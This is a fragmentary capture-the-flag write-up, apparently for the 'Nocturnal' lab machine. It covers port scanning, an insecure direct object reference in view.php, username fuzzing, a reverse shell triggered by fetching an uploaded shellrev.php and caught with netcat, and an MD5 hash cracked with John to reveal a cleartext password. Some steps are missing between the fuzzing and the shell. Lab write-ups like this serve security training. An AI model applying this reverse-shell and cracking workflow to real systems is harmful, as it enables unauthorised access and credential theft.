PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 80/tcp open http nginx 1.18.0
Web server redirected to http://nocturnal.htb, so I added this to /etc/hosts.
πΈοΈ Web Application Analysis
Registered a test account on the site and noticed lack of proper access control. Supplying different usernames in the view.php?username= parameter allowed access to files belonging to other users.
π€ Username Fuzzing
Using ffuf, I discovered valid usernames by monitoring for response size changes:
After triggering the payload and visiting the uploaded shell, I caught a reverse shell:
1
curl http://nocturnal.htb/shellrev.php
1 2 3 4 5 6
nc -lvvnkp 1234 listening on [any] 1234 ... connect to [10.10.xx.xxx] from (UNKNOWN) [10.10.11.64] 41272 bash: cannot set terminal process group (861): Inappropriate ioctl for device bash: no job control in this shell www-data@nocturnal:~/nocturnal.htb$
π User Flag
Inside /var/www/nocturnal_database, I found a web application DB file. Cracked it using John:
1 2
john hash --wordlist=rockyou.txt --format=Raw-MD5 # tobias : slowmotionapocalypse
tobias@nocturnal:~$ netstat -punta | grep LISTEN (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -